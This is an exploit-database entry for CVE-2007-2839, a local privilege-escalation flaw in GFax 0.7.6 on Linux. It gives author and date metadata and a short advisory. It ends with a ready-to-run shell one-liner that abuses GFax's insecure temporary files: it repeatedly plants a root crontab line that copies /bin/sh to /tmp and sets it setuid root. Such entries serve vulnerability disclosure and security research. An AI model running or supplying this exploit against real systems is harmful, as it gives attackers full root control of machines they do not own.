GFax 0.7.6 - Temporary Files Local Arbitrary Command Execution

Author: Steve Kemp
type: local
platform: linux
port: 
date_added: 2007-07-05 
date_updated: 2013-12-13 
verified: 1 
codes: CVE-2007-2839;OSVDB-37883 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/24780/info

GFAX is prone to a vulnerability that lets local attackers execute arbitrary commands with superuser privileges. Successful attacks will result in the complete compromise of affected computers.

GFAX 0.7.6 is vulnerable; other versions may also be affected.

while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done